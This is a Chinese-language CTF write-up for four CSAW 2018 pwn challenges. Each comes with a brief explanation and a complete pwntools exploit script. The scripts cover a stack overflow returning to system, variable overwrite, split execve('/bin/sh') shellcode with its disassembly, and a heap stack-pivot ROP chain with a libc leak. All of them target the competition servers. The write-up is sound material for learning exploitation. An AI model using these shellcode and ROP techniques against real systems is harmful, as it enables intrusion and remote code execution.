csaw2018_pwn_wp
pwn
get_it
非常简单的直接栈溢出控制返回地址到system函数直接getshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| from pwn import * context.log_level = "debug"
local = 0
if local: p = process("./get_it") elf = process("./get_it") else: p = remote("pwn.chal.csaw.io",9001) elf = process("./get_it")
p.recvuntil("??\r\n") payload = "a"*(0x20+8) payload += p64(0x4005B6) p.sendline(payload)
p.interactive()
|
bigboy
直接往下覆盖变量改变变量的值直接绕过判断,溢出缓冲区。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| from pwn import *
context(os='linux',arch='amd64',aslr = 'False',log_level='debug') local = 0
if local: p = process("./boi")#,env={'LD_PRELOAD':'./libc_x64.so.6'}) elf = ELF("./boi") #libc = ELF('./libc_x64.so.6') else: #p = remote('192.168.210.11',11006) p = remote('pwn.chal.csaw.io',9000) elf = ELF("./boi") #libc = ELF('./libc_x64.so.6')
#pause() p.send("A"*16+p32(0xCAF3BAEE)+p32(0xCAF3BAEE))
p.interactive()
|
shell->code
这道题是一个分三段写shellcode,第一段是第一个十五字节,第二段是第二个十五字节,第三段是醉胡的写完返回地址还剩下13字节应该是。
然后他们三段在栈上的排列是这样的:
[__
第三段___]
[__
第二段___]
[__
第一段___]
现在蛀牙想办法把他们三个串起来的题目一起执行shellcode,主要是首先第一用add来改变某个寄存器的值,然后jmp到这个寄存器的地址上来串起三个部分;然后第二还有难点就是处理回车和’\x00’的问题,回车主要是把全都写满,回车符写到下一行就不影响了,也就是把第三段连着写多一点把第二段的也写满就没有回车了,就是不用sendline;然后就是精心构造一下的问题了。
详细脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62
| from pwn import *
context(os = 'linux') local = 1
if local: p = process("./shellpointcode") elf = ELF("./shellpointcode") else: p = remote("pwn.chal.csaw.io",9005) elf = ELF("./shellpointcode")
shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
shellcode1 = "\x90"*5+"\x31\xf6" + "\x48\x83\xc4\x28\xff\xe4" '''22222222222222222222 0: 31 f6 xor esi,esi 0: 48 83 c4 28 add rsp,0x28 4: ff e4 jmp rsp ''' shellcode2 = "\x56\x53\x54\x5f" + "\xb0\x3b\x31\xd2\x0f\x05\x00" '''3333333333333333333 0: 56 push rsi 1: 53 push rbx 2: 54 push rsp 3: 5f pop rdi 0: b0 3b mov al,0x3b 2: 31 d2 xor edx,edx 4: 0f 05 syscall ''' shellcode3 = "\x90\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68" + "\x04" ''' 11111111111111111111111111 0: 90 nop 1: 48 bb 2f 62 69 6e 2f movabs rbx,0x68732f2f6e69622f 8: 2f 73 68 '''
print len(shellcode1) print len(shellcode2) print len(shellcode3)
p.recvuntil("node 1: ") payload = shellcode2 p.sendline(payload) p.recvuntil("node 2: ") payload = shellcode1 pause() p.sendline(payload) p.recvuntil("node.next: ") data = int(p.recvuntil("\n",drop = True),16) print hex(data) print hex(data+0x8) p.recv()
pattern = "a"*0x3 + "b"*0x8 payload = pattern + p64(data)+ shellcode3
pause() p.send(payload)
p.interactive()
|
turtles
这道题是object-C代码写的题目,但是其实不用完全理解object-C是可以做的,问题就在于那个“call rax”上面,然后我们就是想尽办法控制rax就可以任意地址执行就简单了,如果可以任意地址执行,那就可以控制rbp,然后leave来进行一次栈迁移到堆上来进行rop就可以了,为啥要迁移到堆上呢,因为我们呢可以控制堆上的东西啊,堆上面的地址他是给我们的,燃煤memcpy一堆东西过去堆上这样就好办了嘛。
要想控到rax,就要注意的就是调清楚objc_msg_lookup这个函数,控rax就一切好办了。最坑的就是伪造那个全局变量的值让他通过比较是最坑的,似乎随便一个值都可以。
详细脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69
| from pwn import *
context(os = "linux",arch = "amd64")
local = 0
if local: p = process("./turtles") elf = ELF("./turtles") else: p = remote("pwn.chal.csaw.io",9003) elf = ELF("./turtles")
read_plt = elf.plt["read"] printf_plt = elf.plt["printf"]
memcpy_got = elf.got["memcpy"] printf_got = elf.got["printf"] read_got = elf.got["read"]
p.recvuntil(": ") data = int(p.recvuntil("\n",drop = True),16) print hex(data)
main = 0x400B84#0x400A60 pop_rdi = 0x0000000000400d43 pppp_ret = 0x0000000000400d3c addr = 0x400D36 leave = 0x0000000000400b82 pop_rbp_pp_ret = 0x0000000000400d3f my_addr = addr
payload = p64(data)+p64(data+0x10) payload += p64(my_addr)+p64(main) payload += p64(my_addr) payload += p64(0xaaa) payload += p64(0) payload += p64(data + 0x68) + p64(data) + p64(0)*2 payload += p64(0) + p64(leave) payload += p64(data) + p64(pop_rdi) + p64(printf_got) + p64(printf_plt) payload += p64(pop_rbp_pp_ret) + p64(data) + p64(0)*2 + p64(main)
pause() p.sendline(payload) libc_data = u64(p.recvn(6).ljust(8,"\x00")) print hex(libc_data) libc_base = libc_data - 0x50cf0#0x14dea0 system = libc_base + 0x41490#0x45390 binsh_addr = libc_base + 0x1633e8#0x18cd57 print "libc_base = " + hex(libc_base) print "system = " + hex(system) print "binsh_addr = " + hex(binsh_addr) p.recvuntil(": ") data = int(p.recvuntil("\n",drop = True),16) payload = p64(data)+p64(data+0x10) payload += p64(my_addr)+p64(main) payload += p64(my_addr) payload += p64(0xaaa) payload += p64(0) payload += p64(data + 0x68) + p64(data) + p64(0)*2 payload += p64(0) + p64(leave) payload += p64(data) + p64(pop_rdi) + p64(binsh_addr) + p64(system)
p.sendline(payload)
p.interactive()
|
关于这个比赛我们战队的其他wp: